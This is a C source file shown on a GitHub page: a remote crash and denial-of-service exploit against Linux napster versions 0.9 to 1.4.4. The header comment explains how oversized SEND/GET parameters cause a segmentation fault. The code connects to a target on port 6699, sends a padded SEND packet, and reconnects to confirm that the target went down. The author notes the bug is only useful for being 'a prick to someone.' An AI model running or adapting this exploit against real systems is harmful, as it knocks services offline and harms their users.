-
Notifications
You must be signed in to change notification settings - Fork 0
/
lnapster_dos.c
65 lines (61 loc) · 2.2 KB
/
lnapster_dos.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/* (linux)napster[v0.9-/v1.4.4] remote crash/DoS, by v9[[email protected]].
v0.9:
i re-wrote this after v1.4.3's release, when i remodded this to work on both
versions.
v1.4.3:
this causes a segmentation fault. the fault can be achieved via one of two
ways. the 1st fault is achieved when sending >1024 parameters to either the
SEND or GET function. the 2nd is in the SEND function, by sending 5554+
bytes in this form: SEND <parm1/anything> <5554+ bytes>. in the 2nd
function esi/edx is overwrote: 5558(+4 pointer bytes with offset of +281)
with a total of 5562 bytes. (just informing, but this uses the first fault
to crash linux napster)
v1.4.4:
i thought i notified the maintainer, but it's still vulnerable. :)
note:
bugs like this only have use if you're going to be a prick to someone.
*/
#define TIMEOUT 6
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
void timeout(){printf("connection timed out. (%d)\n",TIMEOUT);exit(-1);}
int main(int argc,char **argv){
char crash[2054];
int i,r,sock;
long ret;
struct hostent *h;
struct sockaddr_in s;
printf("(linux)napster[v0.9-/v1.4.4] remote crash/DoS, by: v9[[email protected]].\n");
if(argc<2){printf("[!] syntax: %s <target>.\n",argv[0]);exit(-1);}
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(h=gethostbyname(argv[1]))){
printf("[!] error: could not resolve. (%s)\n",argv[1]);
exit(-1);
}
memcpy((char*)&s.sin_addr,(char*)h->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(6699);
printf("[*] connecting to %s:6699.\n",argv[1]);
signal(SIGALRM,timeout);
alarm(TIMEOUT);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[!] error: connection failed.\n");
exit(-1);
}
alarm(0);
memcpy(crash,"SEND",4);
for(i=4;i<2054;i+=2){*(long *)&crash[i]=0x2001;}
crash[i]='\0';
printf("[*] connected, sending crash. (length=%d)\n",strlen(crash));
write(sock,crash,strlen(crash));
close(sock);
alarm(TIMEOUT);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("[*] result: success. (no response)\n");}
else{printf("[!] result: failed. (responded)\n");}
alarm(0);
exit(0);
}